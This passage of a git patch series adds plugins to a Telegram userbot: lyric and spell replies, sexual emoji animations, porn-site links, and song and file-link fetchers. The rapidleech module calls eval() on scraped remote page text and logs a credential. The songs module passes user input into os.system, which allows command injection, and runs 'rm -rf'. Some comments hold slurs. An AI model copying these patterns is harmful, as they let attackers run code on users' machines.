\n **-Runaway **") + + if x==17: + + await event.edit("🎶 You were the shadow to my light \n Did you feel us \n Another start \n You fade away \n Afraid our aim is out of sight \n Wanna see us \n Alive 🎶 \n **-Faded**") + + if x==18: + + await event.edit("🎶 It's been a long day without you, my friend \n And I'll tell you all about it when I see you again \n We've come a long way from where we began \n Oh I'll tell you all about it when I see you again \n When I see you again 🎶 \n **-See you Again**") + + if x==19: + + await event.edit("🎶 I can swallow a bottle of alcohol and I'll feel like Godzilla \n Better hit the deck like the card dealer \n My whole squad's in here, walking around the party \n A cross between a zombie apocalypse and big Bobby 'The \n Brain' Heenan which is probably the \n Same reason I wrestle with mania 🎶 \n **-Godzilla**") + + if x==20: + + await event.edit("🎶 Yeah, I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more \n I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more (Kio, Kio) 🎶 \n **-Old Town Road**") + + if x==21: + + await event.edit("🎶 Oh-oh, ooh \n You've been runnin' round, runnin' round, runnin' round throwin' that dirt all on my name \n 'Cause you knew that I, knew that I, knew that I'd call you up \n You've been going round, going round, going round every party in L.A. \n 'Cause you knew that I, knew that I, knew that I'd be at one, oh 🎶 \n **-Attention **") + + if x==22: + + await event.edit("🎶 This hit, that ice cold \n Michelle Pfeiffer, that white gold \n This one for them hood girls \n Them good girls straight masterpieces \n Stylin', wilin', livin' it up in the city \n Got Chucks on with Saint Laurent \n Gotta kiss myself, I'm so pretty \n \n I'm too hot (hot damn) \n Called a police and a fireman \n I'm too hot (hot damn) \n Make a dragon wanna retire man \n I'm too hot (hot damn) \n Say my name you know who I am \n I'm too hot (hot damn) \n And my band 'bout that money, break it down 🎶 \n **-Uptown Funk**") + + if x==23: + + await event.edit("🎶 Just a young gun with the quick fuse \n I was uptight, wanna let loose \n I was dreaming of bigger things \n And wanna leave my own life behind \n Not a yes sir, not a follower \n Fit the box, fit the mold \n Have a seat in the foyer, take a number \n I was lightning before the thunder \n \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, thunder 🎶 \n **-Thunder**") + + if x==24: + + await event.edit("🎶 Oh, love \n How I miss you every single day \n When I see you on those streets \n Oh, love \n Tell me there's a river I can swim that will bring you back to me \n 'Cause I don't know how to love someone else \n I don't know how to forget your face \n No, love \n God, I miss you every single day and now you're so far away \n So far away 🎶 \n **-So Far Away**") + + if x==25: + + await event.edit("🎶 And if you feel you're sinking, I will jump right over \n Into cold, cold water for you \n And although time may take us into different places \n I will still be patient with you \n And I hope you know 🎶 \n **-Cold Water**") + + if x==26: + + await event.edit("🎶 When you feel my heat \n Look into my eyes \n It's where my demons hide \n It's where my demons hide \n Don't get too close \n It's dark inside \n It's where my demons hide \n It's where my demons hide 🎶 \n **-Demons**") + + if x==27: + + await event.edit("🎶 Who do you love, do you love now? \n I wanna know the truth (whoa) \n Who do you love, do you love now? \n I know it's someone new \n You ain't gotta make it easy, where you been sleepin'? 🎶 \n **-Who do Love? **") + + if x==28: + + await event.edit("🎶 Your touch is magnetic \n 'Cause I can't forget it \n (There's a power pulling me back to you) \n And baby I'll let it \n 'Cause you're so magnetic I get it \n (When I'm waking up with you, oh) 🎶 \n **-Magnetic**") + + if x==29: + + await event.edit("🎶 Girl my body don't lie, I'm outta my mind \n Let it rain over me, I'm rising so high \n Out of my mind, so let it rain over me \n \n Ay ay ay, ay ay ay let it rain over me \n Ay ay ay, ay ay ay let it rain over me 🎶 \n **-Rain over Me**") + + if x==30: + + await event.edit("🎶 I miss the taste of a sweeter life \n I miss the conversation \n I'm searching for a song tonight \n I'm changing all of the stations \n I like to think that we had it all \n We drew a map to a better place \n But on that road I took a fall \n Oh baby why did you run away? \n \n I was there for you \n In your darkest times \n I was there for you \n In your darkest night 🎶 \n **-Maps**") + + if x==31: + + await event.edit("🎶 I wish—I wish that I was bulletproof, bulletproof \n I wish—I wish that I was bulletproof, bulletproof \n (Bullet-bulletproof, bullet-bullet-bulletproof) \n I'm trippin' on my words and my patience \n Writing every verse in a cadence \n To tell you how I feel, how I feel, how I feel (Yeah) \n This is how I deal, how I deal, how I deal (Yeah) \n With who I once was, now an acquaintance \n Think my confidence (My confidence) is in the basement \n Tryin' to keep it real, keep it real, keep it real (Yeah) \n 'Cause I'm not made of steel, made of steel 🎶 \n **-Bulletproof**") + + if x==32: + + await event.edit("🎶 You won't find him down on Sunset \n Or at a party in the hills \n At the bottom of the bottle \n Or when you're tripping on some pills \n When they sold you the dream you were just 16 \n Packed a bag and ran away \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA 🎶 \n **-Jesus in LA**") + + if x==33: + + await event.edit("Not in a mood to sing. Sorry!") From f644ccd001f85c7348798617ebab99ce40372401 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:25:02 +0530 Subject: [PATCH 038/838] Create harrypotter.py --- fridaybot/modules/harrypotter.py | 101 +++++++++++++++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 fridaybot/modules/harrypotter.py diff --git a/fridaybot/modules/harrypotter.py b/fridaybot/modules/harrypotter.py new file mode 100644 index 00000000..21709517 --- /dev/null +++ b/fridaybot/modules/harrypotter.py @@ -0,0 +1,101 @@ +""" +Pulls Up A Random Chant From Harry Potter Series... +Syntax: .hp + orginal author : AlenPaulVarghese(@STARKTM1) + custom editing : @pureindialover +""" +from telethon import events +import asyncio +import os +import sys +import random + + + +@borg.on(events.NewMessage(pattern=r"\.hp", outgoing=True)) +async def _(event): + if event.fwd_from: + return + x=(random.randrange(1,40)) + if (x==1): + await event.edit("**Aberto**") + if (x==2): + await event.edit("**Accio**") + if (x==3): + await event.edit("**Aguamenti**") + if (x==4): + await event.edit("**Alohomora**") + if (x==5): + await event.edit("**Avada Kedavra**") + if (x==6): + await event.edit("**Colloportus**") + if (x==7): + await event.edit("**Confringo**") + if (x==8): + await event.edit("**Confundo**") + if (x==9): + await event.edit("**Crucio**") + if (x==10): + await event.edit("**Descendo**") + if (x==11): + await event.edit("**Diffindo**") + if (x==12): + await event.edit("**Engorgio**") + if (x==13): + await event.edit("**Episkey**") + if (x==14): + await event.edit("**Evanesco**") + if (x==15): + await event.edit("**Expecto Patronum**") + if (x==16): + await event.edit("**Expelliarmus**") + if (x==17): + await event.edit("**Finestra**") + if (x==18): + await event.edit("**Homenum Revelio**") + if (x==19): + await event.edit("**Impedimenta**") + if (x==20): + await event.edit("**Imperio**") + if (x==21): + await event.edit("**Impervius**") + if (x==22): + await event.edit("**Incendio**") + if (x==23): + await event.edit("**Levicorpus**") + if (x==24): + await event.edit("**Lumos**") + if (x==25): + await event.edit("**Muffliato**") + if (x==26): + await event.edit("**Obliviate**") + if (x==27): + await event.edit("**Petrificus Totalus**") + if (x==28): + await event.edit("**Priori Incantato**") + if (x==29): + await event.edit("**Protego**") + if (x==30): + await event.edit("**Reducto**") + if (x==31): + await event.edit("**Rennervate**") + if (x==32): + await event.edit("**Revelio**") + if (x==33): + await event.edit("**Rictusempra**") + if (x==34): + await event.edit("**Riddikulus**") + if (x==35): + await event.edit("**Scourgify**") + if (x==36): + await event.edit("**Sectumsempra**") + if (x==37): + await event.edit("**Silencio**") + if (x==37): + await event.edit("**Stupefy**") + if (x==38): + await event.edit("**Tergeo**") + if (x==39): + await event.edit("**Wingardium Leviosa**") + + From adedd21b252435548522f6c2d0429b4a9936ec07 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:26:42 +0530 Subject: [PATCH 039/838] Create lovestory.py --- fridaybot/modules/lovestory.py | 51 ++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 fridaybot/modules/lovestory.py diff --git a/fridaybot/modules/lovestory.py b/fridaybot/modules/lovestory.py new file mode 100644 index 00000000..ad3e4095 --- /dev/null +++ b/fridaybot/modules/lovestory.py @@ -0,0 +1,51 @@ +"""COMMAND : .lovestory""" + +from telethon import events + +import asyncio + +from ..utils import admin_cmd + + + +@borg.on(admin_cmd(pattern="lovestory")) + +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 3 + + animation_ttl = range(0, 103) + + #input_str = event.pattern_match.group(1) + + #if input_str == "lovestory": + + await event.edit("Starting asf") + + animation_chars = [ + + "1 ❤️ love story", + " 😐 😕 \n/👕\ <👗\ \n 👖 /|", + " 😉 😳 \n/👕\ /👗\ \n 👖 /|", + " 😚 😒 \n/👕\ <👗> \n 👖 /|", + " 😍 ☺️ \n/👕\ /👗\ \n 👖 /|", + " 😍 😍 \n/👕\ /👗\ \n 👖 /|", + " 😘 😊 \n /👕\/👗\ \n 👖 /|", + " 😳 😁 \n /|\ /👙\ \n / / |", + "😈 /😰\ \n<|\ 👙 \n /🍆 / |", + "😅 \n/(),✊😮 \n /\ _/\\/|", + "😎 \n/\\_,__😫 \n // // \\", + "😖 \n/\\_,💦_😋 \n // // \\", + " 😭 ☺️ \n /|\ /(👶)\ \n /!\ / \ ", + "Abee aur kitna dekhoge be besharmi ki bhi hadd hoti hai..,The End 😂..." + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 103]) From 1a512e0c11ac29c864193d1516e8738da277b230 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:28:39 +0530 Subject: [PATCH 040/838] Create rapidleech.py --- fridaybot/modules/rapidleech.py | 162 ++++++++++++++++++++++++++++++++ 1 file changed, 162 insertions(+) create mode 100644 fridaybot/modules/rapidleech.py diff --git a/fridaybot/modules/rapidleech.py b/fridaybot/modules/rapidleech.py new file mode 100644 index 00000000..30311bd5 --- /dev/null +++ b/fridaybot/modules/rapidleech.py @@ -0,0 +1,162 @@ +# Copyleft 🄯 2017 UniBorg +# +# The below code might feel like copied, but +# https://t.me/MemeVideoBot?start=1333 +# +# Licensed under the General Public License, Version 3 (the "License"); +# you may use this file in compliance with the License. +# + +"""RapidLeech plugin: Inspired by @SjProjects""" + +import aiohttp +import asyncio +import json +import re +from bs4 import BeautifulSoup +from telethon.utils import get_inner_text +from ..utils import admin_cmd + + +logger.info(Config.OPEN_LOAD_LOGIN) +# https://t.me/RoseSupport/33801 + + +@borg.on(admin_cmd(pattern="rl")) +async def _(event): + if event.fwd_from: + return + current_message_text = event.raw_text + cmt = current_message_text.split(" ") + reply_message = await event.get_reply_message() + if len(cmt) > 1: + list_of_urls = cmt[1:] + else: + list_of_urls = get_inner_text( + reply_message.message, reply_message.entities) + converted_links = "" + if len(list_of_urls) > 0: + converted_links += "Trying to generate IP specific link\n" + for a_url in list_of_urls: + converted_link_infos = await get_direct_ip_specific_link(a_url) + if "url" in converted_link_infos: + converted_link = converted_link_infos["url"] + converted_links += f"[{a_url}]({converted_link}) \n\n" + elif "err" in converted_link_infos: + err = converted_link_infos["err"] + converted_links += f"`{a_url}` returned `{err}`\n\n" + await event.reply(converted_links) + + +async def get_direct_ip_specific_link(link: str): + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255 + OPEN_LOAD_DOMAINS = r"(?:openload\.(?:co|io|link|pw)|oload\.(?:tv|biz|stream|site|xyz|win|download|cloud|cc|icu|fun|club|info|press|pw|life|live|space|services|website)|oladblock\.(?:services|xyz|me)|openloed\.co)" + OPEN_LOAD_VALID_URL = r"(?x)https?://(?P(?:www\.)?%s)/(?:f|embed)/(?P[a-zA-Z0-9-_]+)" % OPEN_LOAD_DOMAINS + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255 + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/googledrive.py#L16-L27 + GOOGLE_DRIVE_VALID_URLS = r"(?x)https?://(?:(?:docs|drive)\.google\.com/(?:(?:uc|open)\?.*?id=|file/d/)|video\.google\.com/get_player\?.*?docid=)(?P[a-zA-Z0-9_-]{28,})" + # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/googledrive.py#L16-L27 + dl_url = None + if "zippyshare.com" in link: + async with aiohttp.ClientSession() as session: + http_response = await session.get(link) + http_response_text = await http_response.text() + response_b_soup = BeautifulSoup(http_response_text, "html.parser") + scripts = response_b_soup.find_all( + "script", {"type": "text/javascript"}) + # calculations + # check https://github.com/LameLemon/ziggy/blob/master/ziggy.py + for script in scripts: + if "getElementById('dlbutton')" in script.text: + regex_search_exp = re.search( + '= (?P\".+\" \+ (?P\(.+\)) .+);', script.text) + url_raw = regex_search_exp.group("url") + math = regex_search_exp.group("math") + dl_url = url_raw.replace(math, '"' + str(eval(math)) + '"') + break + # + base_url = re.search("http.+.com", link).group() + dl_url = { + "url": base_url + eval(dl_url) + } + elif re.search(OPEN_LOAD_VALID_URL, link): + # https://stackoverflow.com/a/47726003/4723940 + async with aiohttp.ClientSession() as session: + openload_id = re.search(OPEN_LOAD_VALID_URL, link).group("id") + step_one_url = "https://api.openload.co/1/file/dlticket?file={}&login={}&key={}".format( + openload_id, Config.OPEN_LOAD_LOGIN, Config.OPEN_LOAD_KEY) + http_response = await session.get(step_one_url) + http_response_text = await http_response.text() + http_response_json = json.loads(http_response_text) + logger.info(http_response_json) + if http_response_json["msg"] == "OK": + # wait till wait time + await asyncio.sleep(int(http_response_json["result"]["wait_time"])) + # TODO: check if captcha is required + step_two_url = "https://api.openload.co/1/file/dl?file={}&ticket={}".format( + openload_id, http_response_json["result"]["ticket"]) + http_response = await session.get(step_two_url) + http_response_text = await http_response.text() + http_response_json = json.loads(http_response_text) + logger.info(http_response_json) + if http_response_json["msg"] == "OK": + dl_file_url = http_response_json["result"]["url"] + dl_file_name = http_response_json["result"]["name"] + dl_file_size = http_response_json["result"]["size"] + dl_url = { + "url": dl_file_url, + "name": dl_file_name, + "size": dl_file_size + } + else: + dl_url = { + "err": http_response_text + } + else: + dl_url = { + "err": http_response_text + } + # https://stackoverflow.com/a/47726003/4723940 + elif re.search(GOOGLE_DRIVE_VALID_URLS, link): + file_id = re.search(GOOGLE_DRIVE_VALID_URLS, link).group("id") + async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session: + step_zero_url = "https://drive.google.com/uc?export=download&id={}".format(file_id) + http_response = await session.get(step_zero_url, allow_redirects=False) + if "location" in http_response.headers: + # in case of small file size, Google downloads directly + file_url = http_response.headers["location"] + if "accounts.google.com" in file_url: + dl_url = { + "err": "Private Google Drive URL" + } + else: + dl_url = { + "url": file_url + } + else: + # in case of download warning page + http_response_text = await http_response.text() + response_b_soup = BeautifulSoup(http_response_text, "html.parser") + warning_page_url = "https://drive.google.com" + response_b_soup.find("a", {"id": "uc-download-link"}).get("href") + file_name_and_size = response_b_soup.find("span", {"class": "uc-name-size"}).text + http_response_two = await session.get(warning_page_url, allow_redirects=False) + if "location" in http_response_two.headers: + file_url = http_response_two.headers["location"] + if "accounts.google.com" in file_url: + dl_url = { + "err": "Private Google Drive URL" + } + else: + dl_url = { + "url": file_url, + "name": file_name_and_size + } + else: + dl_url = { + "err": "Unsupported Google Drive URL" + } + else: + dl_url = { + "err": "Unsupported URL" + } + return dl_url From 09d951990848fc9506f5723d35212eae94f01b2d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:29:35 +0530 Subject: [PATCH 041/838] Update requirements.txt --- requirements.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/requirements.txt b/requirements.txt index 143d7604..3b8eace4 100644 --- a/requirements.txt +++ b/requirements.txt @@ -69,3 +69,5 @@ langdetect aria2p fontTools PyDictionary +beautifulsoup4 +bs4 From 9258dad919ef3b0bee21f8439798ef7ba1912879 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:31:20 +0530 Subject: [PATCH 042/838] Create porn.py --- fridaybot/modules/porn.py | 141 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 fridaybot/modules/porn.py diff --git a/fridaybot/modules/porn.py b/fridaybot/modules/porn.py new file mode 100644 index 00000000..d8530507 --- /dev/null +++ b/fridaybot/modules/porn.py @@ -0,0 +1,141 @@ +# unban pornsites here +# +# lol jee lo apni zindagi +# +# HeHe created by @danish_00 +# +#😂😂😂 + +from telethon import events + +import asyncio + +from ..utils import admin_cmd + + + +@borg.on(admin_cmd(pattern="porn")) + +async def _(event):# @danish_00 original + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 8) + + await event.edit("`Connecting...`") + + animation_chars = [# @danish_00 original + + "P_", + + "PO_", + + "POR_", + + "PORN_", + + "PORNH_", + + "PORNHU_", + + "PORNHUB_", + + "[PORNHUB](www.porn93.cc)👄👅💦💦"# @danish_00 original + + ] + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 8]) + + +@borg.on(admin_cmd(pattern=r"xvideos")) + +async def _(event): + + if event.fwd_from: # @danish_00 original + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 7) + + await event.edit("`Connecting...`") + + animation_chars = [ + + "X_", + + "XV_", + + "XVI_", + + "XVID_", + + "XVIDE_", + + "XVIDEO_", + + "[XVIDEOS](www.xvideos4.com)🖕👄💦💦" + + ]# @danish_00 original + + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 7]) + + + + +from telethon import events + +import asyncio + + + + + +@borg.on(admin_cmd(pattern=r"xnxx"))# @danish_00 original + +async def _(event): + + if event.fwd_from: + + return + + animation_interval = 0.2 + + animation_ttl = range(0, 5) + + await event.edit("`Connecting...`")# @danish_00 original + + animation_chars = [ + + "X_", + + "XN_", + + "XNX_", + + "XNXX_", + + "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦" + + + + ] +# @danish_00 original + for i in animation_ttl: + + await asyncio.sleep(animation_interval) + + await event.edit(animation_chars[i % 5]) From cbcc1054ab94a097a00032d4d5a2ff2246a5af54 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:34:28 +0530 Subject: [PATCH 043/838] Create utube --- fridaybot/modules/utube | 145 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 fridaybot/modules/utube diff --git a/fridaybot/modules/utube b/fridaybot/modules/utube new file mode 100644 index 00000000..3cd51a25 --- /dev/null +++ b/fridaybot/modules/utube @@ -0,0 +1,145 @@ +# Plugin made by @hellboi_atul for DARK COBRA.. +# You can use this..but don't edit/remove these comment lines.. +# This module fetches the link from YouTube for the given query.. +# merged .uta +# So wahi...Enjoy + + +import re +import random +from fridaybot import bot, CMD_HELP +import asyncio +import os +from pathlib import Path +from telethon.errors.rpcerrorlist import YouBlockedUserError +from ..utils import admin_cmd, edit_or_reply + + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+") + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, '', inputString) + + +@borg.on(admin_cmd(pattern="utv ?(.*)")) + +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + what = (await doit.get_reply_message()).message + else: + await doit.edit("`Please give some query to search..!`") + return + sticcers = await bot.inline_query( + "vid", f"{(deEmojify(ok))}") + await sticcers[0].click(doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True) + await doit.delete() + + + + + + +# Social Distancing.. + + + + + + + +@borg.on(admin_cmd(pattern="uta ?(.*)")) + +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + what = (await doit.get_reply_message()).message + else: + await doit.edit("`Sir please give some query to search and download it for you..!`") + return + sticcers = await bot.inline_query( + "Lybot", f"{(deEmojify(ok))}") + await sticcers[0].click(doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True) + await doit.delete() + + + +SEARCH_STRING = "Ok weit, searching...." +NOT_FOUND_STRING = "Sorry !I am unable to find any results to your query" +SENDING_STRING = "Ok I found something related to that....." +BOT_BLOCKED_STRING = "Please unblock @utubebot and try again" + +@bot.on(admin_cmd(pattern="ut ?(.*)")) +async def fetcher(event): + if event.fwd_from: + return + song = event.pattern_match.group(1) + chat = "@utubebot" + event = await edit_or_reply(event, SEARCH_STRING, parse_mode="html") + async with event.client.conversation(chat) as conv: + try: + purgeflag = await conv.send_message("/start") + await conv.get_response() + await conv.send_message(song) + ok = await conv.get_response() + while ok.edit_hide != True: + await asyncio.sleep(0.1) + ok = await event.client.get_messages(chat, ids=ok.id) + baka = await event.client.get_messages(chat) + if baka[0].message.startswith( + ("Sorry I found nothing..") + ): + await delete_messages(event, chat, purgeflag) + return await edit_delete( + event, NOT_FOUND_STRING, parse_mode="html", time=5 + ) + await event.edit(SENDING_STRING, parse_mode="html") + await baka[0].click(0) + music = await conv.get_response() + await event.client.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await event.edit(BOT_BLOCKED_STRING, parse_mode="html") + return + await event.client.send_file( + event.chat_id, + music, + caption=f"==> {song}", + parse_mode="html", + ) + await event.delete() + await delete_messages(event, chat, purgeflag) + + +CMD_HELP.update( + { + "utube": "__**PLUGIN NAME :** All YouTube__\ + \n\n📌** CMD ★** `.uta (song name)`\ + \n**USAGE ★ **Send sudio song via Lybot\ + \n\n📌** CMD ★** `.utv (song name)`\ + \n**USAGE ★ **Send video song via vidbot \ + \n\n📌** CMD ★** `.ut (utube video link)`\ + \n**USAGE ★ **not fixed yet, we'll try to fix later 😅😅" + } +) From 15f019dde8951d819a68c8b5d122896068a895f9 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:35:55 +0530 Subject: [PATCH 044/838] Create songs.py --- fridaybot/modules/songs.py | 189 +++++++++++++++++++++++++++++++++++++ 1 file changed, 189 insertions(+) create mode 100644 fridaybot/modules/songs.py diff --git a/fridaybot/modules/songs.py b/fridaybot/modules/songs.py new file mode 100644 index 00000000..9cacf009 --- /dev/null +++ b/fridaybot/modules/songs.py @@ -0,0 +1,189 @@ +# plugin made by @hellboi_atul bug fixes by @Mrconfused +# Copyright (C) DARK COBRA 2020. +# if you change these lines you are gay...bc fuck off! +# leechers stay away😑...if you use this code without credit...u gay bitch fuck off...! + + + +import re +import random +from fridaybot import bot, CMD_HELP +from telethon.errors.rpcerrorlist import YouBlockedUserError +from ..utils import admin_cmd +import asyncio +from telethon.tl.functions.messages import ImportChatInviteRequest +from telethon.errors.rpcerrorlist import UserAlreadyParticipantError +from telethon.tl.types import InputMessagesFilterMusic +import os +try: + import subprocess +except: + os.system("pip install instantmusic") + + + +os.system("rm -rf *.mp3") + + +def bruh(name): + + os.system("instantmusic -q -s "+name) + + +#@register(outgoing=True, pattern="^.netease(?: |$)(.*)") +@borg.on(admin_cmd("songs ?(.*)")) +async def WooMai(netase): + if netase.fwd_from: + return + song = netase.pattern_match.group(1) + chat = "@WooMaiBot" + link = f"/netease {song}" + await netase.edit("```Getting Your Music```") + async with bot.conversation(chat) as conv: + await asyncio.sleep(2) + await netase.edit("`Downloading...Please wait`") + try: + msg = await conv.send_message(link) + response = await conv.get_response() + respond = await conv.get_response() + """ - don't spam notif - """ + await bot.send_read_acknowledge(conv.chat_id) + except YouBlockedUserError: + await netase.edit("```Please unblock @WooMaiBot and try again```") + return + await netase.edit("`Sending Your Music...weit!😎`") + await asyncio.sleep(3) + await bot.send_file(netase.chat_id, respond) + await netase.client.delete_messages(conv.chat_id, + [msg.id, response.id, respond.id]) + await netase.delete() + +@borg.on(admin_cmd("song ?(.*)")) +async def _(event): + try: + await event.client(ImportChatInviteRequest('DdR2SUvJPBouSW4QlbJU4g')) + except UserAlreadyParticipantError: + pass + except: + await event.reply("You need to join [this](https://t.me/joinchat/DdR2SUvJPBouSW4QlbJU4g) group for this module to work.", link_preview=False) + return + args = event.pattern_match.group(1) + if not args: + await event.edit("`Enter song name`") + return + chat = -1001271479322 + current_chat = event.chat_id + current_msg = event.id + try: + async for event in event.client.iter_messages(chat, search=args, limit=1, filter=InputMessagesFilterMusic): + await event.client.send_file(current_chat, event, caption=event.message) + except: + await event.reply("`Song not found.`") + return + await event.client.delete_messages(current_chat, current_msg) + + +IF_EMOJI = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+") + +def deEmojify(inputString: str) -> str: + """Remove emojis and other non-safe characters from string""" + return re.sub(IF_EMOJI, '', inputString) + + +@borg.on(admin_cmd(pattern="sptfy ?(.*)")) + +async def FindMusicPleaseBot(gaana): + + song = gaana.pattern_match.group(1) + + chat = "@FindMusicPleaseBot" + + if not song: + + return await gaana.edit("```what should i search```") + + await gaana.edit("```Getting Your Music```") + + await asyncio.sleep(2) + + async with bot.conversation(chat) as conv: + + await gaana.edit("`Downloading...Please wait`") + + try: + + msg = await conv.send_message(song) + + response = await conv.get_response() + + if response.text.startswith("Sorry"): + + await bot.send_read_acknowledge(conv.chat_id) + + return await gaana.edit(f"Sorry, can't find {song}") + + respond = await conv.get_response() + + cobra = await conv.get_response() + + except YouBlockedUserError: + + await gaana.edit("```Please unblock``` @FindmusicpleaseBot``` and try again```") + + return + + await gaana.edit("`Sending Your Music...weit!😎`") + + await bot.send_file(gaana.chat_id, cobra) + + await bot.send_read_acknowledge(conv.chat_id) + + await gaana.delete() + + +@borg.on(admin_cmd(pattern="deez(?: |$)(.*)")) + +async def nope(doit): + ok = doit.pattern_match.group(1) + if not ok: + if doit.is_reply: + what = (await doit.get_reply_message()).message + else: + await doit.edit("`Sir please give some query to search and download it for you..!`") + return + sticcers = await bot.inline_query( + "DeezerMusicBot", f"{(deEmojify(ok))}") + await sticcers[0].click(doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True) + await doit.delete() + + + +CMD_HELP.update( + { + "songs": "__**PLUGIN NAME :** All Songs __\ + \n\n📌** CMD ★** `.songs (name)`\ + \n**USAGE ★ **Send u a song \ + \n\n📌** CMD ★** `.song (name)`\ + \n**USAGE ★ **Send u a song \ + \n\n📌** CMD ★** `.sptfy (name)`\ + \n**USAGE ★ **Send u song(best for indian songs)\ + \n\n📌** CMD ★** `.deez (name)`\ + \n**USAGE ★ **Send u song (note:- u can use .vsong/.uta/.utv (name) too for songs 😁😁" + } +) From ce6b20626e3152fe2c9ec8d9fe9e705bc250b90f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:36:17 +0530 Subject: [PATCH 045/838] Rename utube to utube.py --- fridaybot/modules/{utube => utube.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename fridaybot/modules/{utube => utube.py} (100%) diff --git a/fridaybot/modules/utube b/fridaybot/modules/utube.py similarity index 100% rename from fridaybot/modules/utube rename to fridaybot/modules/utube.py From be270761f257f30d7f15b5d98e51b67dcf6e0dfd Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:39:53 +0530 Subject: [PATCH 046/838] Update Configs.py --- fridaybot/Configs.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index 12063fe1..f5e74c6d 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -142,6 +142,8 @@ class Config(object): TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") ANTISPAM_FEATURE = os.environ.get("ANTISPAM_FEATURE", "ENABLE") ASSISTANT_LOG = int(os.environ.get("ASSISTANT_LOG", False)) + OPEN_LOAD_LOGIN = os.environ.get("OPEN_LOAD_LOGIN", None) + OPEN_LOAD_KEY = os.environ.get("OPEN_LOAD_KEY", None) UPSTREAM_REPO = os.environ.get( "UPSTREAM_REPO", "https://github.com/Inukaasith/VirtualUserbot" ) From e2a93d90f1d9a35cb9ae2515deabcee1de67de51 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 17:31:46 +0530 Subject: [PATCH 047/838] Create qbot.py --- fridaybot/modules/qbot.py | 37 +++++++++++++++++++++++++++++++++++++ 1 